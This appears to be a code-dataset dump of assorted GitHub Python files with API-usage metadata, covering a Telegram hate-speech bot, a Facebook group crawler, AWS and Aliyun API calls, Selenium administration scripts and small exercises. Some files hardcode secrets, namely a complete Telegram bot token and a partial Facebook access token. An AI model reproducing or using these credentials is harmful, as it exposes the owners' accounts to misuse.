"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 253,
"usage_type": "attribute"
},
{
"api_name": "shutil.rmtree",
"line_number": 254,
"usage_type": "call"
},
{
"api_name": "pyspark.SparkContext.get... |
44550764149 | from source.core.visualiser import Visualiser
# Fetch some GP models
from agents.example_agents import agents
# Unobserve the points from some GPs
i = 8
agents[i].unobserve_true_points(x=agents[i].x_seen)
agents[i].kappa = 3 # Higher regard for uncertainty works better for toy problem
# Initialise visualiser class
... | mgm21/GPs-visualised | source/main.py | main.py | py | 4,443 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "agents.example_agents.agents",
"line_number": 8,
"usage_type": "name"
},
{
"api_name": "agents.example_agents.agents",
"line_number": 9,
"usage_type": "name"
},
{
"api_name": "source.core.visualiser.Visualiser",
"line_number": 12,
"usage_type": "call"
},
... |
23949329045 | # -*- coding: utf-8 -*-
"""
Created on Fri Jan 4 15:28:32 2019
@author: abhinav.jhanwar
"""
import boto3
# from s3 bucket
if __name__=="__main__":
filename="farmer-looks-mountain-view.jpg"
bucket="bucket"
client=boto3.client('rekognition')
response = client.detect_labels(Image={'S3Object':... | AbhinavJhanwar/Amazon-API-boruta | basics/ObjectSceneDetectionImage.py | ObjectSceneDetectionImage.py | py | 973 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "boto3.client",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "boto3.client",
"line_number": 28,
"usage_type": "call"
}
] |
11316416709 | import facebook
import json
import requests
#young creators group
facebook_group_id = '327549154019925'
# A helper function to pretty-print Python objects as JSON
def pp(o):
print(json.dumps(o, indent=2))
# Create a connection to the Graph API with your access token
access_token = 'EAACEdEose0cBABht2FYjCr2DkkBFBHU... | adamhipster/hackathon_website | python_fb_group_crawls/crawl.py | crawl.py | py | 1,134 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "json.dumps",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "facebook.GraphAPI",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "requests.get",
"line_number": 29,
"usage_type": "call"
}
] |
8666976439 | import argparse, os, string, sys
# Parse all parameters
parser = argparse.ArgumentParser()
parser.add_argument('ctfdir', type=str, help='Directory containing all tasks and descriptions, e.g. example-ctf-2015/')
args = parser.parse_args()
# os.walk returns: dirpath (args.ctfdir), dirnames, filenames
missing=external=c... | ctfs/write-ups-tools | checkreadme.py | checkreadme.py | py | 1,638 | python | en | code | 222 | github-code | 36 | [
{
"api_name": "argparse.ArgumentParser",
"line_number": 4,
"usage_type": "call"
},
{
"api_name": "os.walk",
"line_number": 10,
"usage_type": "call"
}
] |
34212069095 | # https://www.acmicpc.net/problem/1697
# solution dfs
# 1) 현재위치 n에서 가능한 세가지 경우 +1, -1, *2 를 dfs한다
# 2) 이때 dfs의 depth는 탐색 시간을 의미하기에 depth가 현재 최소탐색시간보다 큰 경우는 탐색하지 않는다
# 3) 모든 탐색이 끝난 후 최소탐색시간을 출력한다
# 한계: 파이썬 재귀 depth의 한계(기본적으로 1000) -> ex) 인풋으로 0 100000 이 들어올 경우 10만번 초과 재귀로 런타임 에러
# 좀더 근본적인 한계: 재귀로 탐색하기에는 너무 큰 범위(0 ~ 100... | chankoo/problem-solving | graph/1697-숨바꼭질.py | 1697-숨바꼭질.py | py | 3,234 | python | ko | code | 1 | github-code | 36 | [
{
"api_name": "collections.deque",
"line_number": 67,
"usage_type": "call"
}
] |
40325909166 | from ase.io import *
import numpy as np
import torch
from torch.autograd import Variable
from torch.nn.parameter import Parameter
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
import torch.nn.init as init
from sklearn.metrics import mean_squared_error
from math import sqrt
import tim... | Augustegm/Water-Pt | Water-Pt(111)/NeuralNet.py | NeuralNet.py | py | 9,197 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "numpy.linspace",
"line_number": 30,
"usage_type": "call"
},
{
"api_name": "numpy.ones",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "random.sample",
"line_number": 50,
"usage_type": "call"
},
{
"api_name": "numpy.concatenate",
"line... |
3962464959 | import datetime
from django import forms
from django.core.exceptions import ValidationError
from .models import Appointment
from django.contrib.auth.models import User
class DateInput(forms.DateInput):
"""
This class gets the widget working to show a datepicker
"""
input_type = 'date'
class TimeInpu... | Giov3ss/iHealthy | appointments/forms.py | forms.py | py | 2,524 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "django.forms.DateInput",
"line_number": 8,
"usage_type": "attribute"
},
{
"api_name": "django.forms",
"line_number": 8,
"usage_type": "name"
},
{
"api_name": "django.forms.TimeInput",
"line_number": 15,
"usage_type": "attribute"
},
{
"api_name": "dj... |
22353413985 | from typing import Any, Dict, List
import numpy as np
import transformers
import mlrun
from mlrun.serving.v2_serving import V2ModelServer
class HuggingFaceModelServer(V2ModelServer):
"""
Hugging Face Model serving class, inheriting the V2ModelServer class for being initialized automatically by the
model... | mlrun/mlrun | mlrun/frameworks/huggingface/model_server.py | model_server.py | py | 5,513 | python | en | code | 1,129 | github-code | 36 | [
{
"api_name": "mlrun.serving.v2_serving.V2ModelServer",
"line_number": 10,
"usage_type": "name"
},
{
"api_name": "mlrun.MLClientCtx",
"line_number": 20,
"usage_type": "attribute"
},
{
"api_name": "transformers.pipeline",
"line_number": 86,
"usage_type": "call"
},
{
... |
73985065704 | from datetime import datetime, timedelta
from typing import Union
from uuid import uuid4
from django.apps import AppConfig
from django.conf import settings
class DjangoLightAuthConfig(AppConfig):
name = "django_light_auth"
default = True
login_path = "/login"
logout_path = "/logout"
success_path... | rexzhang/django-light-auth | django_light_auth/apps.py | apps.py | py | 1,598 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "django.apps.AppConfig",
"line_number": 9,
"usage_type": "name"
},
{
"api_name": "uuid.uuid4",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "typing.Union",
"line_number": 23,
"usage_type": "name"
},
{
"api_name": "datetime.datetime",
... |
34541981528 | import dash
from dash import html
from dash import dcc
from dash.dependencies import Input, Output
import dash_bootstrap_components as dbc
import pandas as pd
import numpy as np
import calendar
import plotly.express as px
import plotly.graph_objects as go
import datamodel
order = datamodel.get_data()
df_year = datam... | Patriciatworek1998/patr_demo_dash | app.py | app.py | py | 1,928 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "datamodel.get_data",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "datamodel.get_year",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "datamodel.get_month",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "plotly.expr... |
6314719484 | import os
import sys
os.environ["TOKENIZERS_PARALLELISM"] = "true"
sys.path.insert(0, os.getcwd())
import gc
import time
import random
import warnings
warnings.filterwarnings("ignore")
import wandb
import os
import sys
import argparse
from datasets import load_dataset
import torch
from transformers import AutoTokeniz... | ixtiyoruz/EmotionClassification | src/train.py | train.py | py | 11,025 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.environ",
"line_number": 3,
"usage_type": "attribute"
},
{
"api_name": "sys.path.insert",
"line_number": 4,
"usage_type": "call"
},
{
"api_name": "sys.path",
"line_number": 4,
"usage_type": "attribute"
},
{
"api_name": "os.getcwd",
"line_numb... |
70850460263 | import pandas as pd
import os
import time
from datetime import datetime
from os import listdir
from os.path import isfile, join
path ="/Users/Sanjay/Documents/StockPredictor/TodayStats"
def key_stats(gather="Total Debt/Equity"):
statspath=path+'/TodayStats'
#k = [225,226,227,228,229,230,231,232,233,234,235]
... | cloudmesh-community/fa18-523-66 | project-code/PredictDowIndex_1.py | PredictDowIndex_1.py | py | 5,169 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.listdir",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "os.path.isfile",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "os.path.join",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "pandas.DataFrame",
"line_n... |
19331078030 | import telebot
from model_predict import predict
from preprocessing import preprocess_text
bot = telebot.TeleBot(
"2087987681:AAG813Ais8YRNy4nlhrHZTK5UfQc4ZYa55Y", parse_mode=None)
# for /start and /help commands
@bot.message_handler(commands=['start', 'help'])
def send_welcome(message):
bot.reply_to(messa... | Jenpoer/pythoneers-hatespeech-bot | pythoneers_hatespeechbot.py | pythoneers_hatespeechbot.py | py | 876 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "telebot.TeleBot",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "preprocessing.preprocess_text",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "model_predict.predict",
"line_number": 24,
"usage_type": "call"
}
] |
71354369385 | #!/bin/usr/env python
# ===========================================================
# Created By: Richard Barrett
# Organization: DVISD
# DepartmenT: Data Services
# Purpose: Skyward Administration
# Date: 04/01/2020
# ===========================================================
import selenium
import shutil
import xls... | aiern/ITDataServicesInfra | Python/Skyward/Administration/remove_sec_groups_inactive_users.py | remove_sec_groups_inactive_users.py | py | 5,755 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.path.exists",
"line_number": 34,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 34,
"usage_type": "attribute"
},
{
"api_name": "subprocess.call",
"line_number": 35,
"usage_type": "call"
},
{
"api_name": "json.load",
"line_num... |
36517097823 | import json
from sqlite_testdb import SqliteTest
class TestSbsVariationApi(SqliteTest):
def test_get_integrity(self):
"""
Tests if expected result is returned for integrity api
"""
actual_json = self.client.get('/sbs/analyses/1/integrities')
actual_json = json.loads(actual... | rohitbs113/DupontSBS | tests/test_sbs_variation.py | test_sbs_variation.py | py | 1,611 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "sqlite_testdb.SqliteTest",
"line_number": 6,
"usage_type": "name"
},
{
"api_name": "json.loads",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "json.dumps",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "json.loads",
"line_... |
15130460020 | # Databricks notebook source
# MAGIC %pip install -r requirements.txt
# COMMAND ----------
import warnings
warnings.filterwarnings("ignore")
# COMMAND ----------
# MAGIC %sh
# MAGIC mkdir -p /dbfs/FileStore/solution_accelerators/digitization/ && touch /dbfs/FileStore/solution_accelerators/digitization/init.sh
# MAG... | databricks-industry-solutions/digitization-documents | config/configure_notebook.py | configure_notebook.py | py | 1,508 | python | en | code | 5 | github-code | 36 | [
{
"api_name": "warnings.filterwarnings",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "mlflow.set_experiment",
"line_number": 24,
"usage_type": "call"
}
] |
16520579385 | import datetime
from operator import itemgetter
from django.core.management.base import BaseCommand, CommandError
from django.db.models import *
from buckley.models import *
def cache_totals():
totals = Total.objects.all()
if totals:
total = totals[0]
else:
total = Total()
ie_total = ... | sunlightlabs/reportingsite | buckley/management/commands/cache_totals.py | cache_totals.py | py | 4,878 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "operator.itemgetter",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "datetime.date.today",
"line_number": 45,
"usage_type": "call"
},
{
"api_name": "datetime.date",
"line_number": 45,
"usage_type": "attribute"
},
{
"api_name": "datetime.t... |
40130281674 | #!/usr/bin/env python
#coding=utf-8
# pip install aliyun-python-sdk-alidns
from aliyunsdkcore import client
from aliyunsdkalidns.request.v20150109 import SetDomainRecordStatusRequest
from flask import current_app
from datetime import datetime
class UpRecordStatus(object):
'''
region_id需要提交工单查询，默认cn_hangzhou
... | fish2018/prometheus_exporter | utils/alidns.py | alidns.py | py | 1,385 | python | en | code | 4 | github-code | 36 | [
{
"api_name": "aliyunsdkcore.client.AcsClient",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "aliyunsdkcore.client",
"line_number": 15,
"usage_type": "name"
},
{
"api_name": "flask.current_app.config",
"line_number": 16,
"usage_type": "attribute"
},
{
... |
1132507113 | import logging
import time
import random
from langchain.agents import initialize_agent, load_tools
from langchain.chat_models import ChatOpenAI
logging.basicConfig()
logger = logging.getLogger()
logger.setLevel(logging.DEBUG)
# import and initialize graphsignal
# add GRAPSIGNAL_API_KEY to your environment variables
i... | graphsignal/examples | langchain-app/main.py | main.py | py | 1,010 | python | en | code | 3 | github-code | 36 | [
{
"api_name": "logging.basicConfig",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "logging.getLogger",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "logging.DEBUG",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "graphsignal.con... |
23059482493 | import peewee
import main
import logging
db_filename = main.CONF.get('VK', 'db_file', fallback='')
db = peewee.SqliteDatabase(db_filename, pragmas={'journal_mode': 'wal',
'cache_size': 64,
'foreign_keys': 1,
... | Sithief/async_bot | database/db_api.py | db_api.py | py | 5,009 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "main.CONF.get",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "main.CONF",
"line_number": 6,
"usage_type": "attribute"
},
{
"api_name": "peewee.SqliteDatabase",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "peewee.Model",
"l... |
135256696 | from enum import Enum
import logging
import coloredlogs
import itertools
_LoggerEnums = {
1: ['system', 'SYSTEM'],
2: ['client', 'CLIENT'],
3: ['handler', 'HANDLER'],
}
LoggerEnums = Enum(
value='LoggerEnums',
names=itertools.chain.from_iterable(
itertools.product(v, [k]) for k, v in _Logg... | techolutions/madqtt-pi | madqtt/utils/Logging.py | Logging.py | py | 900 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "enum.Enum",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "itertools.chain.from_iterable",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "itertools.chain",
"line_number": 14,
"usage_type": "attribute"
},
{
"api_name": "itertool... |
17929496471 | #!/usr/bin/python3
import sys
import collections
class Tree:
children = None
metadata = None
def __init__(self):
self.children = collections.deque()
self.metadata = collections.deque()
def parse_input():
line = next(sys.stdin).strip()
i = 0
while i < len(line):
num =... | Easimer/advent-of-code-2018 | day8/day8.py | day8.py | py | 1,553 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "collections.deque",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "collections.deque",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "sys.stdin",
"line_number": 15,
"usage_type": "attribute"
},
{
"api_name": "sys.stdin",
"l... |
4079006523 | """
Plot omega, sliding net charge
plot sliding fraction of Q/N, S/T, A/G, P
"""
import os
import pandas as pd
import matplotlib.pyplot as plt
from deconstruct_lc import tools_lc
from deconstruct_lc.complementarity import motif_seq
class Fraction(object):
def __init__(self):
self.k = 6
self.lca = ... | shellydeforte/deconstruct_lc | deconstruct_lc/complementarity/sliding_fraction.py | sliding_fraction.py | py | 3,162 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "deconstruct_lc.tools_lc.seq_to_kmers",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "deconstruct_lc.tools_lc",
"line_number": 20,
"usage_type": "name"
},
{
"api_name": "matplotlib.pyplot.plot",
"line_number": 30,
"usage_type": "call"
},
{
... |
32105984708 | from datetime import datetime
from string import Template
import pandas as pd
def read_template(file: str) -> Template:
with open(file, "r") as f:
content = f.read()
return Template(content)
df = pd.read_csv("export.csv")
df = df.astype(
{
"repository_stars_count": "Int64",
}
)
df =... | dbeley/lpa-table | lpa_html_builder.py | lpa_html_builder.py | py | 1,930 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "string.Template",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "string.Template",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "pandas.read_csv",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "datetime.datetime.toda... |
36408701647 | from django.http import HttpResponseRedirect, HttpResponse
from django.shortcuts import get_object_or_404, render
from django.urls import reverse
from django.views import generic
from .forms import PilotForm
from .models import Site, Pilot, Comment
from . import creed
from . import webster
import datetime
import traceb... | chadwickcheney/SeleniumTests | assure/views.py | views.py | py | 6,511 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "django.views.generic.ListView",
"line_number": 12,
"usage_type": "attribute"
},
{
"api_name": "django.views.generic",
"line_number": 12,
"usage_type": "name"
},
{
"api_name": "forms.PilotForm",
"line_number": 16,
"usage_type": "name"
},
{
"api_name"... |
36244286092 | #!/usr/bin/env python
import boto3
import subprocess
#output = subprocess.call(['/home/ansadmin/nagaratest/docker.sh'])
import time
ec2 = boto3.resource('ec2')
import yaml
config = yaml.load(open('config.yml'))
ec2 = boto3.resource('ec2')
instance = ec2.create_instances(
ImageId = config['ImageId'],
MinCount =... | hotkey123/test | nagaratest/final_create_instance.py | final_create_instance.py | py | 1,161 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "boto3.resource",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "yaml.load",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "boto3.resource",
"line_number": 10,
"usage_type": "call"
}
] |
29976613151 | import os.path as osp
import mmcv
import numpy as np
import pycocotools.mask as maskUtils
from pycocotools.coco import COCO
from .coco import CocoDataset
from .registry import DATASETS
@DATASETS.register_module
class SideWalkDataset(CocoDataset):
CLASSES = ('barricade', 'bench', 'bicycle', 'bollard', 'bus', 'c... | ytaek-oh/mmdetection | mmdet/datasets/sidewalk.py | sidewalk.py | py | 2,636 | python | en | code | 2 | github-code | 36 | [
{
"api_name": "coco.CocoDataset",
"line_number": 13,
"usage_type": "name"
},
{
"api_name": "pycocotools.coco.COCO",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "os.path.join",
"line_number": 34,
"usage_type": "call"
},
{
"api_name": "os.path",
"li... |
8680864840 | """The module contains test functions to test Tankerkoenig API wrapper."""
import tempfile
import os
from unittest import TestCase
from unittest.mock import MagicMock, patch
from homemonitoring.tankerkoenig import TankerKoenig
class TestTankerKoenig(TestCase):
"""TestTankerKoenig contains the test cases for th... | BigCrunsh/home-monitoring | homemonitoring/tests/tankerkoenig_test.py | tankerkoenig_test.py | py | 2,091 | python | en | code | 2 | github-code | 36 | [
{
"api_name": "unittest.TestCase",
"line_number": 12,
"usage_type": "name"
},
{
"api_name": "homemonitoring.tankerkoenig.TankerKoenig",
"line_number": 26,
"usage_type": "call"
},
{
"api_name": "unittest.mock.patch",
"line_number": 21,
"usage_type": "call"
},
{
"ap... |
34928053014 | import requests
from bs4 import BeautifulSoup
import pandas as pd
from selenium import webdriver
from webdriver_manager.chrome import ChromeDriverManager
from selenium.webdriver.chrome.options import Options
import re
with open('raw_kaggle_huffpost.json', 'r') as file:
entries = file.read().lower().split("\n")
d... | the-super-toys/ml-there-will-be-news | fetch-dataset.py | fetch-dataset.py | py | 4,295 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "selenium.webdriver.chrome.options.Options",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "selenium.webdriver.Chrome",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "selenium.webdriver",
"line_number": 16,
"usage_type": "name"
},
{... |
14114648700 | import sys
from collections import deque
def bfs(node):
queue = deque()
queue.append(node)
visited[node] = True
while len(queue) != 0:
cur_node = queue.popleft()
for linked_node in adj[cur_node]:
if not visited[linked_node]:
visited[linked_node] = True
... | nashs789/JGAlgo | Week02/Q11724/Q11724_Inbok.py | Q11724_Inbok.py | py | 786 | python | en | code | 2 | github-code | 36 | [
{
"api_name": "collections.deque",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "sys.stdin.readline",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "sys.stdin",
"line_number": 19,
"usage_type": "attribute"
},
{
"api_name": "sys.stdin.readline... |
25460261702 | import logging
from markdown.extensions import Extension
from markdown.inlinepatterns import Pattern
from markdown.util import etree
logger = logging.getLogger(__name__)
def build_url(label, base, end):
""" Build a url from the label, a base, and an end. """
return '%s%s%s' % (base, label, end)
def build_... | ghtyrant/mdwiki | mdwiki/backend/extensions/mdwikilinks.py | mdwikilinks.py | py | 2,780 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "logging.getLogger",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "markdown.extensions.Extension",
"line_number": 24,
"usage_type": "name"
},
{
"api_name": "markdown.inlinepatterns.Pattern",
"line_number": 48,
"usage_type": "name"
},
{
"ap... |
17411415924 | """mysite URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based ... | miyanda2/Driver-Qr | mysite/urls.py | urls.py | py | 2,046 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "django.urls.path",
"line_number": 32,
"usage_type": "call"
},
{
"api_name": "django.contrib.admin.site",
"line_number": 32,
"usage_type": "attribute"
},
{
"api_name": "django.contrib.admin",
"line_number": 32,
"usage_type": "name"
},
{
"api_name": "... |
27980503870 | #!/usr/bin/env python2
"""
Minimal Example
===============
Generating a square wordcloud from the US constitution using default arguments.
"""
from os import path
from wordcloud import WordCloud, STOPWORDS
d = path.dirname(__file__)
# Read the whole text.
text = open(path.join(d, 'titles.txt')).read()
# Generate a... | schollz/scholar-pull | makeCloud.py | makeCloud.py | py | 769 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.path.dirname",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "os.path.join",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 14,... |
21476691969 | from urllib import quote
from django.shortcuts import get_object_or_404, render_to_response, redirect
from django.http import HttpResponseRedirect, HttpResponse
from django.core.urlresolvers import reverse
from django.template import RequestContext
from django.contrib.auth.models import User
from django.contrib.auth im... | sherbondy/Attend | attend/events/views.py | views.py | py | 5,143 | python | en | code | 2 | github-code | 36 | [
{
"api_name": "datetime.datetime.strptime",
"line_number": 47,
"usage_type": "call"
},
{
"api_name": "datetime.datetime",
"line_number": 47,
"usage_type": "name"
},
{
"api_name": "datetime.datetime.strptime",
"line_number": 48,
"usage_type": "call"
},
{
"api_name"... |
34082247012 | import traceback
import logger as log
import pandas as pd
from datetime import (
datetime
)
from database import (
DrugsMetaCollection,
IngredientsCollection,
LyophilizedCollection
)
from dash import (
html,
dcc
)
class MongoData(object):
def __init__(self):
self._ingredients_db_ob... | ashwani1310/Lyophilized-Drugs-Analysis-Tool | ui_data.py | ui_data.py | py | 12,601 | python | en | code | 2 | github-code | 36 | [
{
"api_name": "database.IngredientsCollection",
"line_number": 26,
"usage_type": "call"
},
{
"api_name": "database.LyophilizedCollection",
"line_number": 32,
"usage_type": "call"
},
{
"api_name": "datetime.datetime.today",
"line_number": 63,
"usage_type": "call"
},
{
... |
18909708203 | """
Description:
A tool for translating transcript coordinates to reference coordinates using the CIGAR string.
Contributors:
20210119 - Larry Clos II (drlclos@gmail.com)
Assumptions:
- For a given genetic sequence (transcript) the sequence coordinate and index are the same and start at zero (0).
- CIGAR defines the... | LClos/bfx_tools | genetic_coordinates/cigar_translate.py | cigar_translate.py | py | 9,659 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "collections.namedtuple",
"line_number": 44,
"usage_type": "call"
},
{
"api_name": "re.findall",
"line_number": 64,
"usage_type": "call"
},
{
"api_name": "typing.List",
"line_number": 47,
"usage_type": "name"
},
{
"api_name": "typing.Tuple",
"lin... |
9353725368 | import os
import atexit
import dotenv
from dotenv import load_dotenv
from flask import Flask
from flask import render_template, request, url_for, flash, redirect
from flask_bootstrap import Bootstrap5
from mexc_sdk import Spot
from agents import TradingAgent
from clients import MexcClient
def to_float(x):
try:
... | ArtemNechaev/traderbot | app.py | app.py | py | 2,908 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "dotenv.load_dotenv",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "clients.MexcClient",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "mexc_sdk.Spot",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "os.environ.get",
... |
40328938266 | from sklearn.base import BaseEstimator, TransformerMixin
from sklearn.multioutput import MultiOutputClassifier
from data.tokenizer import tokenize
from sklearn.preprocessing import OneHotEncoder
from sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer
from sklearn.model_selection import GridSearch... | DietzRep/disaster_response_pipeline_project | models/model_factory.py | model_factory.py | py | 3,650 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "sklearn.base.BaseEstimator",
"line_number": 13,
"usage_type": "name"
},
{
"api_name": "sklearn.base.TransformerMixin",
"line_number": 13,
"usage_type": "name"
},
{
"api_name": "sklearn.pipeline.Pipeline",
"line_number": 41,
"usage_type": "call"
},
{
... |
74207450663 | import argparse
import logging
from .system import system_parser
from .network import network_parser
from .stress import stress_parser
log_debug = logging.getLogger("debugLog")
def get_parser(parent=None):
# connection with main parser
if not parent:
anomaly_inject = argparse.ArgumentParser(descripti... | Ydjeen/openstack_anomaly_injection | openstack_anomaly_injection/anomaly_injection/config/argparser/argparser.py | argparser.py | py | 5,377 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "logging.getLogger",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "argparse.ArgumentParser",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "argparse.ArgumentParser",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "syst... |
5840512827 | from django.http import HttpResponse
from django.http import JsonResponse
from bs4 import BeautifulSoup
import requests
def index(request):
url = "https://air-quality.com/place/india/delhi/a32ed7fc?lang=en&standard=aqi_us"
req = requests.get(url)
soup = BeautifulSoup(req.content, 'html.parser')
val =... | amanpreets01/pollutantAPI | mysite/polls/views.py | views.py | py | 622 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "requests.get",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "bs4.BeautifulSoup",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "django.http.JsonResponse",
"line_number": 19,
"usage_type": "call"
}
] |
41787908029 | #from django.shortcuts import render
# Create your views here.
from rest_framework.decorators import api_view
from rest_framework.response import Response
from rest_framework import generics
from animals.models import Categories, Status, Tags, Animal, AnimalForm
from api.serializers import AnimalSerializer
from djan... | nejcRazpotnik/pet_store_djangoAPI | backend/petStore/api/views.py | views.py | py | 3,732 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "rest_framework.generics.RetrieveAPIView",
"line_number": 23,
"usage_type": "attribute"
},
{
"api_name": "rest_framework.generics",
"line_number": 23,
"usage_type": "name"
},
{
"api_name": "animals.models.Animal.objects.all",
"line_number": 24,
"usage_type":... |
25304954617 | """
Author: Diego Pinheiro
github: https://github.com/diegompin
"""
from itertools import cycle
from maracatu.src.plotting.plot_base import PlotBase
# import pandas as pd
# from dataintensive.src import Joint
# from dataintensive.src import BinsDataFrame
# from dataintensive.src import Parameter
# from dataintensive.... | diegompin/maracatu | maracatu/src/plotting/curves.py | curves.py | py | 4,421 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "maracatu.src.plotting.plot_base.PlotBase",
"line_number": 16,
"usage_type": "name"
},
{
"api_name": "maracatu.src.plotting.plot_base.PlotBase.colors",
"line_number": 43,
"usage_type": "attribute"
},
{
"api_name": "maracatu.src.plotting.plot_base.PlotBase",
"lin... |
43676904102 | import numpy as np
import cv2
from PIL import Image, ImageFilter
import training_vs2
weights = np.load('weights.npy')
biases = np.load('biases.npy')
def imageprepare(argv):
im = Image.open(argv).convert('L')
width = float(im.size[0])
height = float(im.size[1])
newImage = Image.new('L', (28, 28),... | tpvt99/detect-gomoku-using-neural-network | test.py | test.py | py | 2,093 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "numpy.load",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "numpy.load",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "PIL.Image.open",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "PIL.Image",
"line_number": 12,... |
38285183708 | import mock
import pytest
from fc.qemu.exc import MigrationError
from fc.qemu.incoming import (
IncomingAPI,
IncomingServer,
authenticated,
parse_address,
)
def test_authentication_wrapper():
@authenticated
def test(cookie):
return 1
context = mock.Mock()
context.cookie = "as... | flyingcircusio/fc.qemu | src/fc/qemu/tests/test_migration.py | test_migration.py | py | 2,712 | python | en | code | 4 | github-code | 36 | [
{
"api_name": "fc.qemu.incoming.authenticated",
"line_number": 14,
"usage_type": "name"
},
{
"api_name": "mock.Mock",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "pytest.raises",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "fc.qemu.exc.Mi... |
17436736893 | import argparse
import torch
from tqdm import tqdm
import matplotlib.pyplot as plt
import os
from torchvision import transforms
import dataset
from torch.utils.data import DataLoader
from utils.metric import get_overall_valid_score
from utils.generate_CAM import generate_validation_cam
from utils.pyutils impo... | xmed-lab/OEEM | classification/train.py | train.py | py | 6,342 | python | en | code | 29 | github-code | 36 | [
{
"api_name": "argparse.ArgumentParser",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "yaml.safe_load",
"line_number": 34,
"usage_type": "call"
},
{
"api_name": "os.path.exists",
"line_number": 40,
"usage_type": "call"
},
{
"api_name": "os.path",
"... |
11303967232 | import logging
import musicbrainzngs
from retrying import retry
from ..constants import SAMPLE_RATE
logger = logging.getLogger(__name__)
class MusicbrainzLookup(object):
@retry(stop_max_attempt_number=5, wait_exponential_multiplier=100)
def query(self, disc_id):
logger.debug('Retrieving disc meta ... | pisarenko-net/cdp-sa | hifi_appliance/meta/musicbrainz.py | musicbrainz.py | py | 2,585 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "logging.getLogger",
"line_number": 9,
